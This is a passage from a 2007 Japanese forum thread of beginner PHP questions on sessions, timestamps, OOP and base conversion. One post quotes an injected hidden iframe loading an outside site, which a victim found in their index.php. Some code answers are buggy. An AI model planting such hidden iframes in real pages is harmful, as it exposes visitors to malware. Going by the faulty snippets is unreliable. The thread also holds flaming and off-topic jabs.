これだけで今日6時間かかった危うく挫折するところだったorz



600 :nobodyさん:2007/06/04(月) 00:41:14 ID:???
>>599
>しかしまぁ1.5.5の時のバグが1.6.2でも解決されてないんですね

はい、そこ。ちょっと問題が解決したからって、気を大きくしない

逆に言われてしまえば「既知のバグも確認せずにインストールするなんて」ってなるんだから、
正直見苦しいよ

601 :nobodyさん:2007/06/04(月) 00:53:50 ID:???
どう見ても見苦しいのはおまえだよ

602 :nobodyさん:2007/06/04(月) 00:57:39 ID:???
>>599必死涙目乙w

603 :nobodyさん:2007/06/04(月) 01:06:16 ID:???
あるオブジェクトのメソッドから、呼び出し元を調べたいんですが
どうやって調べればいいでしょうか。

604 :nobodyさん:2007/06/04(月) 01:09:03 ID:???
>>603
http://jp.php.net/debug_backtrace

605 :nobodyさん:2007/06/04(月) 02:41:59 ID:???
>>595

stream_set_timeout($fp, $idle);
http://php.mirror.camelnetwork.com/manual/ja/function.stream-set-timeout.php

だな

606 :nobodyさん:2007/06/04(月) 10:20:36 ID:???
>>605
そんな関数があったのか。前に同じことをしようとしたときはわざわざforkしてた...
でも、スレッド使いたいな。


607 :nobodyさん:2007/06/04(月) 11:14:34 ID:xiuS9z/Z
いつも読ませてもらってます。
連想配列内の配列を取り出す方法を考えています。
例えば以下の配列
$a = array(0=>array(0=>"AA",1=>array("A","B")),1=>array("C","D"),2=>array("E","F"));
から$a[0][1]を取り出したい場合どのようなスクリプトならできるのか悩んでいます。
array_slice($a,0,1)だとarray(0=>array(0=>"AA",1=>array("A","B")))のみです。

$aからarray("A","B")の部分を取り出すにはどのようにすればいいのか教えていただけませんか。

608 :nobodyさん:2007/06/04(月) 11:17:18 ID:???
$newArray = $a[0][1];

609 :581:2007/06/04(月) 11:36:37 ID:JYPog2pE
>>605
どうもありがとうございます。早速試してみます。

610 :nobodyさん:2007/06/04(月) 12:00:59 ID:DwHDHcMt
今、他の方が作ったプログラムをいじってるんですけど、
フォームから、GETでデータをhoge.phpに渡しているんですが、
データが、'を\'にしたり\を\\にしたりと、サニタイズされています。
hoge.phpのインクルードしているプログラム間でそういう記述があると思ったのですが、
hoge.phpの一番上(処理が何もされていないだろうと思う場所)で、
print_r($_GET);
exit;
としても、サニタイズされているんです。
javascriptでも何もしていませんでした。
これってありえますかね?(現にありえてるんで悩んでいるんですが・・・)
アドバイスお願いいたします。

611 :nobodyさん:2007/06/04(月) 12:13:54 ID:???
>>610
つ[magic_quotes_gpc]

612 :nobodyさん:2007/06/04(月) 12:26:25 ID:???
このmagic_quotes_gpcって本当に邪魔だよなあ。
ってわかってるやつは切ればいいんだけど。
サーバをいじれない環境だと.htaccessでやるしかなくて、
できるかどうか確認するのまでどきどきしちゃうw

613 :nobodyさん:2007/06/04(月) 12:28:08 ID:???
>>611
あ〜それわすれてましたw
ありがとうございます!

614 :nobodyさん:2007/06/04(月) 12:38:17 ID:???
magic_quotes_gpcでだめなケースってどんな場合があるの?

615 :nobodyさん:2007/06/04(月) 12:48:07 ID:???
>>614
つ[ブラウザを通さないで表示する場合]


616 :nobodyさん:2007/06/04(月) 15:32:29 ID:???
>>607はPHP-usersのMLとのマルチかよ、くだんね

617 :nobodyさん:2007/06/04(月) 16:47:52 ID:???
明日6時に起きようと考えて眠ると、5時58分くらいに目が覚めるのですが、
あれは、脳の中にcronの仕組みがあるという認識で間違っていませんか?

618 :nobodyさん:2007/06/04(月) 16:56:17 ID:???
>>617
とりあえずNTPサーバーと同期をとることをおすすめします。

619 :nobodyさん:2007/06/04(月) 17:48:34 ID:6QRX92pz
>>441

>中身を隠蔽しておいた方が後で使い回せるし

classに隠蔽したほうが使いまわせれるというのはどういうことですか?
毎回オブジェクトをつくらないといけないですよね?

>>画面遷移が増えてきたり
フォームかurlでしか次の表示に変数は渡せないですよね?



620 :nobodyさん:2007/06/04(月) 18:14:19 ID:N4khH+fa
セッションについての質問です

セッションはクッキーと違い、変数をサーバー上に保存しておくものだと本で読みました
ということは、あるユーザーが取得したセッションで管理されてる変数を、
同じページを開いた別のユーザーも共有できるのかと思い、試してみましたができませんでした
これはなぜでしょうか?

ちなみに下記の方法で試してみました
↓ソース
test.php
<?php
session_start();
if(!isset($_SESSION["count"])){
$_SESSION["count"] = 0;
}
else{
$_SESSION["count"] ++;
}
echo $_SESSION["count"];
?>

PCが一台しかないので、同じPC内の2種類のブラウザ(IEとファイアーフォックス)で実験
1 IEで開いてF5を連打し、カウントを適当な数まで増やす
2 ファイアーフォックスで同じページを開く

ファイアーフォックスで開いたとき、IEで表示されているカウント数に関係なく 0 が表示されました
なぜでしょうか?

621 :nobodyさん:2007/06/04(月) 18:33:08 ID:lLfrP8Zc
ドコモ携帯で太陽マークを打ち込み、それをポストして、PHP側で「F89F」を取得するにはどうすればいいのでしょうか?

622 :nobodyさん:2007/06/04(月) 18:46:04 ID:???
>>620
セッションidって物が有るから

623 :nobodyさん:2007/06/04(月) 19:00:04 ID:???
>>621
ヒント 16進数

624 :虚弱PHP:2007/06/04(月) 19:03:20 ID:???
>>620
厳密には正しくないけど最初は↓みたいに理解するといいかも。

○ユーザー毎にセッションIDが付けられる。
 → これをブラウザのクッキーに保存

○セッションID毎にセッションファイルが作られる。
 → ブラウザクッキーとして送られたセッションIDをもとに読み出し

625 :nobodyさん:2007/06/04(月) 21:31:58 ID:???
>>620に釣られたんだけど、セッションって何も設定しなくてもクッキー使わないんだよね?

626 :441:2007/06/04(月) 21:51:29 ID:g5MJj3HB
>>619
>classに隠蔽したほうが使いまわせれるというのはどういうことですか?
>毎回オブジェクトをつくらないといけないですよね?

確かに、書き捨ての簡単な処理しか必要ない、機能追加もメンテも全部一人でこなすというのなら
無理にする必要は無いとは思うけど。

ただ、使えるけど使わない 使えないから使わない
は全然違うから、とりあえず使えるようにすることから始めてみればいいのでは。

メリットを理解するのは
ttp://itpro.nikkeibp.co.jp/article/COLUMN/20060921/248617/ とか、
ttp://www-06.ibm.com/jp/developerworks/opensource/060901/j_os-php-designptrns.shtml とかか、


>画面遷移が増えてきたり
>フォームかurlでしか次の表示に変数は渡せないですよね?

有る意味ではその通りだし、有る意味では違うともいえるかも。
class云々とは若干離れるが、

変数(+オブジェクト)の受け渡しは、 serialize ttp://jp.php.net/serialize を使う方法もある。

最近は json and xajax 使ってるけど。 なるべく画面遷移させたくないからね。
単純な登録・更新・削除だけだと、べたべた書いても変わらないけど
curl+パース→結果によりPOSTを分岐+DB格納 とかを組み合わせた
バッチ系の処理を書くと、クラス化して隔離・隠蔽しとかないと、あとで訳わからなくなってくるんすよ。

まぁ覚えておいて損は無いからまずは習得+模倣から始めればよいと思う。

627 :nobodyさん:2007/06/04(月) 21:58:09 ID:???
>メリットを理解するのは
>ttp://itpro.nikkeibp.co.jp/article/COLUMN/20060921/248617/ とか、
これはいくらなんでも電波だな。電波と言うか無内容

628 :441:2007/06/04(月) 22:13:23 ID:g5MJj3HB
>>627

平易で良くまとまっているポインタが有れば、差してくださいな。

中・高・大・大人(というか環境)によって見え方と捉え方が違うから難しいっす。






629 :nobodyさん:2007/06/04(月) 22:26:07 ID:5+o3owYS
>>使えるけど使わない 使えないから使わない
いつ使ったらいいかわからないんです
単に遠まわしにしているとしか感じないです。
ただのユーザー関数とクラス化したもので
例えばどういう処理orアプリにおいて便利なるんですか?
ユーザー関数だと、こういう風に格納しまくらなきゃいけなくて
オブジェクトならこんな風に数行で…みたいな


630 :nobodyさん:2007/06/04(月) 22:35:46 ID:???
OOPは考えるな、書いて感じろ

631 :441:2007/06/04(月) 22:35:58 ID:g5MJj3HB
>>629
乱暴に一言でいうと、単純なユーザー関数だと、抽象化 継承が出来ない。
一連の機能を継承して新たな機能を派生で作るとかね。

遠回しという感覚は確かにその通りに感じると思う。
というか遠回しにしているからこそ拡張出来る。


だから、有る程度の複雑性と多様性が無いと、純粋なコードを書く量は増えてしまうだけで、
メリットを享受出来ないかも。

632 :nobodyさん:2007/06/04(月) 22:43:50 ID:???
リンク先でも書いてるけど、OOPの特徴といったらカプセル化、継承、ポリモーフィズムなんだろう。
一人で開発していて、再利用するつもりもなくて、拡張性の必要もない場合に加えて、
言語はPHPというなら、別にOOPする必要はないんじゃないか。

633 :nobodyさん:2007/06/04(月) 22:50:17 ID:???
ないよ
とりあえずOOPで書いてみて何がいいのかを体感しようとせず
頭だけで理解しようとする奴にはいつまでたっても無理だから

634 :nobodyさん:2007/06/04(月) 22:57:02 ID:???
>>632

そうだと思うよ。急いでその場しのぎで作るなら無理にする必要はないとも思う。
OOPが目的のOOPでの実装は意味がないと思っている。

趣味とか、やっつけ仕事、数百行程度の実装なら別にいいんじゃないか。


ただ、そのまま機能を作り込んでいくと、

「あの機能とよく処理にてる」とか
「あの処理のあの機能を引っぺがして、ちょこっと変えてこっちにも組み込みたい」
「ほとんど似ている手続きなんだけど微妙に分岐が違う一連の手続きを定期的に連続実行したい。」
とかが頻発してくる。

んで、よく似た同じ事をコピペとかでくむと、後で修正するときも、同じような機能で微妙に違う箇所を
grepして抽出して、書き換えるとかいった面倒なことになる。書き換えるだけならいいけど、テストも過給的に
増えてメンドクセーとかね。

だから、必須ではないけど、使えるようにしておいた方が何かとつぶしは効くかも。

635 :nobodyさん:2007/06/04(月) 22:59:49 ID:???
>>630は名言だろww

636 :441:2007/06/04(月) 23:03:21 ID:g5MJj3HB
>>634
ID晒し忘れた。

637 :nobodyさん:2007/06/04(月) 23:12:23 ID:gV5OyYxv
初心者に近い人が「これつくってみると一気にレベルアップするよ」的なものってありますか?

638 :nobodyさん:2007/06/04(月) 23:22:45 ID:???
ブログ

639 :nobodyさん:2007/06/04(月) 23:24:34 ID:???
自分で造るにしても、他のソースを参考にしないと進歩しない

640 :nobodyさん:2007/06/04(月) 23:25:12 ID:???
とりあえず自力で作ってみて詰まるのもいいんじゃね?

641 :nobodyさん:2007/06/04(月) 23:29:34 ID:???
自分でゼロから作って、完成させる。

人のソースを見て、自分のソースをリファクタする。

これが、最強の教育アルゴリズム。

642 :nobodyさん:2007/06/04(月) 23:33:42 ID:???
PHP5.2.2からOCIでOracle8i(8.1.5)に繋げた人いる?

643 :nobodyさん:2007/06/04(月) 23:35:13 ID:???
いない

644 :nobodyさん:2007/06/04(月) 23:42:42 ID:???
>>638-641
ありがとうございます トランバック、RSS、コメントにそれらを管理するものetc
確かに勉強になりそうです

>>641さん方式が向いてそうなのでそれで進めてみますが、おすすめの既存ソースはありますか?
読みやすくて完成度が高いもの、XSS等虚弱性なんて当然なくて
サニタライズがしっかりしているものはどんなものがありますか?wordpressのように高機能でなくて良いです

645 :nobodyさん:2007/06/04(月) 23:43:59 ID:???
>>637
http://developer.yahoo.co.jp/
とか使ってなんか面白いものを作るとか。

生きてて変化するデータを使う方が何かと楽しいとは思う。

646 :nobodyさん:2007/06/05(火) 00:03:22 ID:???
トランバック サニタライズ

647 :nobodyさん:2007/06/05(火) 00:26:04 ID:/9Tx9T4K
数字を漢数字に変換する方法を教えて下さい(>_<)

648 :nobodyさん:2007/06/05(火) 00:31:46 ID:m4nsZU4o
>>抽象化 継承が出来ない。
ああー
まずは継承や再利用の価値を勉強すればいいんですね

649 :nobodyさん:2007/06/05(火) 00:58:06 ID:???
>>647

if($string == "1"){
$string == "一";
}

650 :nobodyさん:2007/06/05(火) 01:03:27 ID:???
>>647
function hoge($val) {
if ($val==0) {return '零';}
$len = strlen($val);
$j = 0;
$kansuuji = array('','一','二','三','四','五','六','七','八','九');
$kurai1 = array('','十','百','千');
$kurai2 = array('','万','億','兆');
$answer = "";
for ($i = $len-1; $i >= 0; $i++) {
if (0==($j % 4)) {
$answer .= array_shift($kurai2);
} else {
$answer .= $kurai1[$j % 4];
}
$answer .= $kansuuji[substr($val, $i, 1)];
}
$j++;
}
}

ちゃんと動くかは知らん

651 :nobodyさん:2007/06/05(火) 01:06:28 ID:???
CGIのようなバッチ処理でオブジェクト指向は完全に無意味で非効率。
唯一イベント駆動型のGUIで意味がある。ウインドウやボタンをオブジェクトとして、
オブジェクト毎に色や形(プロパティ)やイベント(メソッド)を定義するだけだから。

652 :441:2007/06/05(火) 01:06:53 ID:J7TorZ22
>>648

継承と再利用の価値は 勉強つうか >>630 だとおもう

1)仕事じゃないんだったら、最初は周りくどいことは気にせずテキトーに Aという仕組みを作ってみる。
(登録・更新・削除・参照・バッチ処理があるようなものがいいか)

2)テキトーに作ったAを機能分割、汎用化して一つ一つの処理の複雑度を下げてA’を作る

3) 2を使ってBを作ってみる

4) 1を使って Bを作ってみる

という流れかもね。

初めからいきなり 2) → 3)が作れればそれが最短だけど、
1)を作れないのならば、いきなり抽象化と再利用ができるようにはならないかも。

ついでに言うとコーディングレベルでの抽象化と再利用だけだとうまく分割出来ないともいえる。
規模・要件によって、最適解と抽象化の粒度は異なるわけ。

再利用する必要が無いものを、汎用化して工数が余計に掛かる位ならべた書きでも
速攻仕上げた方が最適だったりする。

653 :nobodyさん:2007/06/05(火) 01:07:36 ID:???
>>647
1文字だけ変えるのなら>>649のような感じでいいけど、
数文字いっぺんに変えるなら正規表現で置き換えのほうが楽。
30000を三万とかにするならかなり複雑になると思う。

654 :nobodyさん:2007/06/05(火) 01:08:36 ID:???
>>651
StrutsやRailsの立場はどーなんねん
つか、バッチて言葉の意味わかってる?

655 :nobodyさん:2007/06/05(火) 01:10:08 ID:???
※くだらない質問スレで議論するのはやめてください
これ以上やるならクソスレ立てて誘導します。

656 :nobodyさん:2007/06/05(火) 01:18:11 ID:???
>>655
クソスレ立てるのは賛成だけど、
スレのサブタイトルに、「日本共産党員お断り」って入れておいて。

657 :nobodyさん:2007/06/05(火) 01:21:00 ID:???
>>654
反論があれば具体的にどーぞ。
Railsがどんな功績や効率的な処理を実現しましたか?
ほんとCGI系でオブジェクト指向なんてひとつも意味無いから。
RubyはVisualCOBOLみたいなもんだよ。アホな人的資源の救済措置。

658 :nobodyさん:2007/06/05(火) 01:25:07 ID:J7TorZ22
>>655
ここがそのクソスレ(ry
すまん 吊ってきます。

659 :nobodyさん:2007/06/05(火) 01:26:25 ID:???
ちなみにここで繰り返し出てきたオブジェクト指向の長所とやらは
全て手続き型で実現可能な物事です。まぁ当たり前なんだけどね。
オブジェクト指向自体が手続き型で実装されているわけだから。

自分で実際やってみるとわかるけど、スクリプト言語でオブジェクト指向的
振る舞いを繰り返すと、すぐに重くてどうにもならなくなる。
また全体に知能が低めに設定されているのか、オブジェクト指向派は動的な
構成を好み、決まってHTMLを生成しようとしない。

660 :nobodyさん:2007/06/05(火) 01:37:59 ID:???
>>659
いまどきOOが重いとか貧民的プログラムが必要な環境ならCで組むことをオヌヌメするよ

661 :nobodyさん:2007/06/05(火) 01:58:10 ID:???
>>660
な。知能低いだろ。HTML生成型という発想そのものが無く、Cで書けば速いと
思い込んでいる。自分で書いたことも無さそうなのにw
こんな5年10年使い込まれた泣き言が飛び出すとは、この糞スレだけ時の流れが
止まってるのでしょうか。サーバサイドは誰でもどんな時代でも少しでも軽い方が
良いに決まっているのにねぇ。私はカウンタだけCで書いています。関係無いけどね。

662 :nobodyさん:2007/06/05(火) 02:04:37 ID:???
※2度目の忠告です
議論は他にいってやってください。

663 :nobodyさん:2007/06/05(火) 02:06:37 ID:???
>>659
君が独自の試行錯誤の末に何かを得たのはわかった。
でも一般性に欠けるから、人に押し付けないでね。

664 :nobodyさん:2007/06/05(火) 02:11:18 ID:???
>>655 >>662
何この偉そうな馬鹿?何様だよ^^;;

665 :nobodyさん:2007/06/05(火) 02:13:37 ID:???
>>655
糞スレ立てるなんて犯罪予告だぜ!
通報しますた。

666 :nobodyさん:2007/06/05(火) 02:14:37 ID:???
うちも変更されないようなページはHTMLを生成するな

社内向けシステムなら動的にページを生成したときの
レスポンスの悪さもある程度がまんしてもらえるけど
ネットに公開するようなサイトだとそれだと困るからな〜

667 :nobodyさん:2007/06/05(火) 02:34:09 ID:???
クソスレ立てるのは賛成だけど、
スレのサブタイトルに、「日本共産党員お断り」って入れておいて。

668 :nobodyさん:2007/06/05(火) 04:20:29 ID:???
>>250
いや、やっぱり見えるか見えないかそんな所が一番。
特に周りに広がるメラニン色素の沈着がタマラナイ。

669 :668:2007/06/05(火) 04:21:30 ID:???
うそです

670 :虚弱PHP:2007/06/05(火) 10:16:30 ID:???
まあ、なにはともあれOOPを「勉強」するならPHPはいい回答ではない。

671 :nobodyさん:2007/06/05(火) 11:54:18 ID:4B8PpfOt
ただ単にリダイレクトさせるためだけにPHPを使いたいんだけど、

<?php header("Location: 転送先URL"); ?>

だけテキストで入力して、
その後、拡張子をPHPにすればOKでしょうか?

あと、このリダイレクトの方法って、メタと違って
ブラウザ側で拒否出来ないという認識で問題ないですか?

672 :nobodyさん:2007/06/05(火) 12:07:33 ID:???
>>671
PHPが動くサーバー設定になってるならそれで大丈夫じゃない?

673 :nobodyさん:2007/06/05(火) 13:08:10 ID:???
>>671
ブラウザで拒否できないというか、
正常なブラウザならhttpヘッダを見て挙動を決めるので、
それでリダイレクトされる。
逆にそれでリダイレクトされないなら、
そのブラウザがブラウザとしての最低限の機能を搭載してないってこと。
つまりブラウザにあらず。

674 :nobodyさん:2007/06/05(火) 13:19:13 ID:4B8PpfOt
>>672
有り難うございます。
一応、動くのは試してみてわかっているのですが、
PHP自体をほとんど理解していないので
なにか足りないのではないかと
ちょっと心配になり聞いてみました。

>>673
有り難うございます。
PHPは現在、初心者本片手に勉強してるんですが、
まだまだ理解が乏しいので助かりました。
言われてなるほどですね。

675 :nobodyさん:2007/06/05(火) 13:29:59 ID:???
>>620>>625
セッション関数を使うと、「セッションクッキー」という特殊なクッキーが
自動で発行される。


>セッションはクッキーと違い(中略)あるユーザーが取得したセッションで管理されてる変数を・・・
共有できるわけねぇだろ、と。
それじゃセッションの意味がないだろ、と。

676 :nobodyさん:2007/06/05(火) 14:32:50 ID:???
共有しようと思えば・・・

677 :nobodyさん:2007/06/05(火) 14:40:10 ID:J1A5BxRH
Oracleを使いたいのですが、
標準の関数oci_connect等を使うか、
PEARのDBクラスを使うか、
PDO関数を使うか、どれを使えばよいのか迷っています。
好きなものを使うべきなのでしょうが、
皆さんならどれを使いますか?

678 :nobodyさん:2007/06/05(火) 14:57:10 ID:???
PDOが無難

679 :nobodyさん:2007/06/05(火) 15:19:54 ID:fm5P/WUS
質問です。
PHPスクリプトを暗号化しようと思い
php_screw( ttp://www.pm9.com/newpm9/itbiz/php/ )をインストールし
php.iniにextension=php_screw.soと記述し、phpを実行すると
以下のようなエラーが出てしまいます。

PHP Warning: Unknown(): Unable to load dynamic library
'/usr/local/lib/php/extension/no-debug-non-zts-20020429/php_screw.so' -
/usr/local/lib/php/extension/no-debug-non-zts-20020429/php_screw.so:
cannot open shared object file: No such file or directory in Unknown on line 0

No such file or directorといわれていますが実際にファイルは存在しています。
何らかの原因でロードできていないんだと思いますが、検討がつきません。

どなたか分かる方いらっしゃらないでしょうか?

環境は Linux(CentOS4.4) + PHP 4.4.4です。

680 :nobodyさん:2007/06/05(火) 15:24:34 ID:Q4Q2J1Ec
Web関係の求人サイト見て思ったんだが、
「オープンソースでの開発経験をお持ちの方」
って書いてあったんだが、気にしなくていいよな・・・


いいバイト先ないかなぁorz

681 :nobodyさん:2007/06/05(火) 15:32:15 ID:???
>>680
ここは人生相談スレでもチラシの裏でもありません。

682 :nobodyさん:2007/06/05(火) 15:33:04 ID:???
>>680
開発に参加っていってもパッチを送る位なら履歴書を書きながらでもできるだろ。
適当なハックを見繕ってプロジェクトのMLにポストすりゃいいのよ。


683 :nobodyさん:2007/06/05(火) 16:10:55 ID:???
long 型の Unix タイムスタンプ(数字13ケタ)を人間が読めるように表示したい。

Java だと、以下のような感じでできた。

Long mylong = new Long("1181025482687");
Date date = new Date(mylong.longValue());
System.out.println(date);

PHP で同じようなことをしたいと思い、

$param = "1181025482";
$today = date('Y-m-d H:i:s', $param);
print($today);

こんなコードを書いたが、date() や gettime() は int 型しか受け取れない。
Java みたいに long を受け取れる関数はありますか?

やりたいことですが、今使っている他システムが、ログに時刻を Unix タイムスタンプ(long型)で
出力しやがるので、それを見やすくする web 変換ページを作りたいのです。


684 :nobodyさん:2007/06/05(火) 16:17:33 ID:???
>>683
>>1

685 :nobodyさん:2007/06/05(火) 16:18:48 ID:Ku9URNE5
N進数→N進数の変換をしたいんだけど
割って位を出していくでしょ?
数が巨大になると、PHPが整数として扱える範囲を超えて、
割れなくなる。
この難問どうすれば解けますか?

686 :nobodyさん:2007/06/05(火) 16:21:56 ID:???
>>685
数いくつかに分ければいいんじゃね?

687 :683:2007/06/05(火) 16:26:41 ID:vO+V39fB
すみません、sage は NG ということを知りませんでした。

サーバのOS:CentOS4.4
PHPのバージョン:PHP 4.3.9
Webサーバ:2.0.52

688 :nobodyさん:2007/06/05(火) 16:48:52 ID:???
>>687
そのコードで何が問題?

>>685
http://php.net/base_convert

689 :nobodyさん:2007/06/05(火) 16:53:20 ID:???
>>683
型キャストすればいいんでないの?

690 :683:2007/06/05(火) 16:58:40 ID:vO+V39fB
>>688

date() 関数に 1181025482687 のような13桁を渡すと、
オーバーフローしてしまいます。

Long mylong = new Long("1181025482687");
Date date = new Date(mylong.longValue());
System.out.println(date);  // 2007/06/05 15:38:02 が表示される

同じ "1181025482687"を >>683 のコードに渡すと
2038-01-19 12:14:07 が表示されてしまいます。
>>683 のように、"1181025482"(後ろ3文字をカット)すると、
2007-06-05 15:38:02
が表示されます。

実際にはミリ病は必要ないのでこれでいいのですが、
PHP でも、Java のように long 型で受け取れないのかなと思い
質問しました。

>>689
キャストしてみた。

$param = "1181025482687";
$today = date('Y-m-d H:i:s', (int)$param); // (intをつけた)

結果は、やはり 2038-01-19 ・・・ が表示されてしまう。


691 :nobodyさん:2007/06/05(火) 17:00:10 ID:???
>>690
date('Y-m-d H:i:s',1181025482687 / 1000)

2007-06-05 15:38:02

割ればいいんでないの?

692 :683:2007/06/05(火) 17:11:04 ID:vO+V39fB
>>691
とりあえず割ることで対応しました。
自分が作った関数には13ケタの数字をそのまま渡したいのですが、
出力にはミリ秒が含まれなくても別にかまわないので。

# date() の出力フォーマットにミリ秒が出せるのは、PHP 5.2.2 からのようですね

http://www.php.net/manual/ja/function.date.php
をみると、date() の引数は int 型なので、結局 long は渡せないし、
ほかにそのような関数もない、ということなのかな。

っつーか http://www.php.net/manual/ja/language.types.php を見ているのですが、
もしかして PHP は long がない?
(整数は、10進だと10ケタまで?)

すみません、頭の中がJavaかCなもので・・・

693 :nobodyさん:2007/06/05(火) 17:13:06 ID:???
UNIXタイムスタンプって普通秒単位だろ?
ミリ秒単位で渡すなよ.
例え桁あふれがなくても1181025482687秒と認識されるだろが


694 :nobodyさん:2007/06/05(火) 17:21:02 ID:???
>>692
普通にlong型はないね。
intの範囲(-2147483647〜2147483647)を超えるとfloatになる。

695 :683:2007/06/05(火) 17:29:28 ID:vO+V39fB
>>693-694
レスどうもありがとうございます。
すみません、Unix タイムスタンプ(time_t ?)という書き方がよくなかったでした。
やりたかったことは、とにかく 時刻表現が1970/1/1 からのミリ秒として13ケタの数字でわたってくるので、
これを人間の読めるようにしたかった、でした。

PHP の time() 関数が、精度を秒で返すのは、
PHP の time() が C の time() でできているからかな?


696 :nobodyさん:2007/06/05(火) 17:36:10 ID:???
逆にUNIXタイムスタンプをミリ秒まで数えてるのをJSしか知らない

697 :nobodyさん:2007/06/05(火) 17:43:47 ID:???
>>696
その問題は変数の型とは全く関係ないっしょ。
確かにDate.getTimeとかで1970/1/1からのミリ秒で返ってくるんだろうけど
それは「UNIXタイムスタンプ」とは非なるもの。
適当に3桁削るか自作関数作りなるなりして対応すればいいんでないの.

つかマニュアル見れば分かることだけどlong型なんてないし
型が違ったら自動的にキャストしてくれるから引数の型は意識しなくもいい。

$param = "1181025482";
$today = date('Y-m-d H:i:s', $param);
print($today);

そもそも最初の例のこれだと$paramはstring型だしな。


698 :nobodyさん:2007/06/05(火) 17:47:29 ID:???
久々に2038年問題を思い出した
                  クダラネー

699 :nobodyさん:2007/06/05(火) 17:57:33 ID:???
>>679
書いてるまんまだと思うが、パスが違う、パーミッションが違うとかつまんねー理由だと思う。

700 :nobodyさん:2007/06/05(火) 18:11:13 ID:DIaHasCn
すいません、こんな感じのタグが、index.phpに勝手に追加される事があります。
これって、サーバがやられてしまったのでしょうか?

<iframe src='http://quickcnt.com/ld/axhst/' width='1' height='1' style='visibility: hidden;'></iframe>


701 :nobodyさん:2007/06/05(火) 18:35:24 ID:???
>>700
自分のスクリプトに穴があるとは考えないんだな

702 :nobodyさん:2007/06/05(火) 18:39:10 ID:???
Dreamweaver使ってるんじゃまいか?

703 :nobodyさん:2007/06/05(火) 18:41:05 ID:???
自鯖ならそく閉鎖しる

704 :700:2007/06/05(火) 19:03:42 ID:DIaHasCn
レス、ありがとうございます。

>>自分のスクリプトに穴があるとは考えないんだな
問題のあるコードを書いているかもしれません。。。

>>Dreamweaver使ってるんじゃまいか?
使ってます、問題あるのでしょうか?

>>自鯖ならそく閉鎖しる
閉鎖しました

705 :nobodyさん:2007/06/05(火) 19:05:35 ID:???
>閉鎖しました
はやいなw

706 :nobodyさん:2007/06/05(火) 19:21:06 ID:???
>>704
http://www.itmedia.co.jp/enterprise/articles/0702/08/news027.html

707 :nobodyさん:2007/06/05(火) 19:37:41 ID:???
せっかくだからその穴だらけのコード晒してけよ

708 :nobodyさん:2007/06/05(火) 19:55:06 ID:???
現実に個人レベルでもクラックってされるんだなw
脆弱性のあるスクリプトがどういうものなのか気になる。
今後の参考にもぜひみせてもらいたい。

709 :nobodyさん:2007/06/05(火) 20:34:47 ID:6blsZ/zS
初心者ですが教えて下さい。「変数に値が入ってなかったら」
というのは、どういう風に表現されるのですか?

変数Aに、値が入っていなかったら、変数Bを変数Xに代入せよ。
変数Aに、値が入っていたら、変数Xには変数Aを代入せよ。

ということを書く場合、
if($a==""){$x=$b}
else
{$x=$a}

じゃ、うまくいかないんですが、未定義・null・値が入ってない、
といったことを表現するのはどう表現するのでしょう?



710 :nobodyさん:2007/06/05(火) 20:38:11 ID:???
>>709
http://jp.php.net/empty

711 :nobodyさん:2007/06/05(火) 20:38:22 ID:???
>>709
「初心者ですが教えて下さい。」←これタブーね

if($a){
echo "入っています";
}else{
echo "入っていません";
}

712 :nobodyさん:2007/06/05(火) 20:41:11 ID:???
>>709
ttp://jp.php.net/manual/ja/function.isset.php
ttp://jp.php.net/manual/ja/function.is-null.php
ttp://jp.php.net/manual/ja/function.empty.php

713 :nobodyさん:2007/06/05(火) 20:42:10 ID:???
>>711
それ$aが0のときダメなんじゃん?

714 :nobodyさん:2007/06/05(火) 20:47:01 ID:MIae8p3r
GDを使った画像の透明化がうまくいきません。
imagepng()で作成した場合はちゃんと透明化されるのですが、
imagegif()を使用すると透明化されません。
サーバによって上手くいく場合もあるのですが何を調べるべきなのかもわからない状態です。
何かご存知でしたらご教授お願いします。

↓テスト用にソースを抜き出しました。
<?
$image = imagecreatetruecolor(20,20);
$color = ImageColorClosest($image,255,255,255);
for($i=1;$i<=10;$i++){
for($j=1;$j<=20;$j++){
imagesetpixel($image,$j-1,$i-1,$color);
}
}
$color = ImageColorClosest($image,200,0,5);
//透明にする予定の色で半分だけ塗りつぶし
for($i=11;$i<=20;$i++){
for($j=1;$j<=20;$j++){
imagesetpixel($image,$j-1,$i-1,$color);
}
}
$permeateColor = ImageColorClosest($image,200,0,5);
imagecolortransparent($image,$permeateColor);
$file = "./test.gif";
imagegif($image,$file);
//$file = "./test.png";
//imagepng($image,$file); これならうまくいく


715 :nobodyさん:2007/06/05(火) 20:51:11 ID:6blsZ/zS
私は >>709 です。

すごい すごい!
こんなに素速く返事があるなんて!
あまりに初歩的すぎて、皆さんから怒られるかと思いましたが、
適切なご教示を頂きありがとうございました。
マニュアルとか解説系HPでも分からなかったのですが、
isset ってのも見かけては居たのですが、その変数が宣言されて
いるかどうかを調べる関数に違いないと即断していました。
いろいろあるんですね。
ありがとうございました m(..)m

716 :nobodyさん:2007/06/05(火) 20:51:41 ID:???
>>714
> サーバによって上手くいく場合もあるのですが何を調べるべきなのかもわからない状態です。
とりあえず上手くいくサーバといかないサーバのGDのバージョンをリストアップしてみれば

717 :nobodyさん:2007/06/05(火) 21:07:48 ID:EQxq7rXd
セッションについて質問です

error_reporting(E_ALL);
if(isset($_COOKIE["hoge"])){

ini_set("session.gc_maxlifetime",14*86400);
ini_set("session.cookie_path","/hogehoge/");
ini_set("session.cookie_lifetime",14*86400);
ini_set("session.save_path","./hogehogehoge/");
ini_set("session.use_only_cookies",1);

session_start();
$sestmp=$_SESSION;
session_destroy();
session_id(md5(uniqid(rand(),true)));
session_start();
$_SESSION=$sestmp;
}
//以降省略

上記のコードですが、テスト環境(Windows+AN HTTPD+PHP5.2.1)では問題は無いのですが、レンサバ(Linux+Apache1.3+PHP5.1.6)で動かした所、特にエラーメッセージ等も無いのにセッションファイルがカラッポ(0バイト)になってしまいます。
単にsession_start();とした場合は期待通りに動作するのですが、session_start();session_regenerate_id(true);では駄目でした。

ローカルではいずれも意図した通りに動作するのに、何故レンサバでは動かないのでしょうか?
また解決するにはどうすれば良いのでしょうか?

718 :nobodyさん:2007/06/05(火) 21:09:00 ID:???
>>686
アルゴリズムが難解すぎて…
具体的にどうやればいいですか?
>>688
最初はそれ使ってましたが
巨大になると挙動がおかしくなるんです

// ここまではok
echo base_convert('fffffffffffff',16,16);

// ここからng
echo base_convert('ffffffffffffff',16,16);


719 :nobodyさん:2007/06/05(火) 21:28:52 ID:???
つ 一歩進んで前習え

720 :nobodyさん:2007/06/05(火) 21:30:26 ID:???
>>717
環境依存すぎ。
そういうことするまえに、
なにもせずに
session_start();で
var_dump($_SESSION);
が可能かどうかをしめすべきだ。


